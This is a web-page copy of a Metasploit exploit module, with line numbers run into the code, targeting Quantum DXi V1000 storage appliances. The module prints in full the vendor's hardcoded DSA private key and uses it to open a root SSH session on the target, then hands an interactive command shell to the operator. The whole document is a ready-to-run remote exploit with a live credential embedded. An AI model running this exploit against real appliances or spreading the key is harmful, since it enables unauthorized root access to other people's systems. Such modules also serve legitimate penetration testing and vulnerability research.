Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'Quantum DXi V1000 SSH Private Key Exposure',19'Description' => %q{20Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that21allows passwordless authentication to any other DXi box. Since the key is22easily retrievable, an attacker can use it to gain unauthorized remote23access as root.24},25'Platform' => 'unix',26'Arch' => ARCH_CMD,27'Privileged' => true,28'Targets' => [ [ 'Universal', {} ] ],29'Payload' => {30'Compat' => {31'PayloadType' => 'cmd_interact',32'ConnectionType' => 'find'33}34},35'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module36'License' => MSF_LICENSE,37'References' => [38['PACKETSTORM', '125755']39],40'DisclosureDate' => '2014-03-17',41'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },42'DefaultTarget' => 0,43'Notes' => {44'Stability' => [CRASH_SAFE],45'Reliability' => [REPEATABLE_SESSION],46'SideEffects' => []47}48}49)50)5152register_options(53[54# Since we don't include Tcp, we have to register this manually55Opt::RHOST(),56Opt::RPORT(22)57], self.class58)5960register_advanced_options(61[62OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),63OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])64]65)66end6768# helper methods that normally come from Tcp69def rhost70datastore['RHOST']71end7273def rport74datastore['RPORT']75end7677def do_login(user)78opt_hash = ssh_client_defaults.merge({79auth_methods: ['publickey'],80port: rport,81key_data: [ key_data ]82})8384opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']85begin86ssh_socket = nil87::Timeout.timeout(datastore['SSH_TIMEOUT']) do88ssh_socket = Net::SSH.start(rhost, user, opt_hash)89end90rescue Rex::ConnectionError91return nil92rescue Net::SSH::Disconnect, ::EOFError93print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"94return nil95rescue ::Timeout::Error96print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"97return nil98rescue Net::SSH::AuthenticationFailed99print_error "#{rhost}:#{rport} SSH - Failed authentication"100return nil101rescue Net::SSH::Exception => e102print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"103return nil104end105106if ssh_socket107108# Create a new session from the socket, then dump it.109conn = Net::SSH::CommandStream.new(ssh_socket)110ssh_socket = nil111112return conn113else114return nil115end116end117118def exploit119conn = do_login('root')120if conn121print_good "#{rhost}:#{rport} - Successful login"122handler(conn.lsock)123end124end125126def key_data127<<~EOF128-----BEGIN DSA PRIVATE KEY-----129MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2130hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t131Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2132+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/41336mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5134PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr135E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK1366X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn137k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u138B3Upsx556K/iZPPnJZE=139-----END DSA PRIVATE KEY-----140EOF141end142end143144145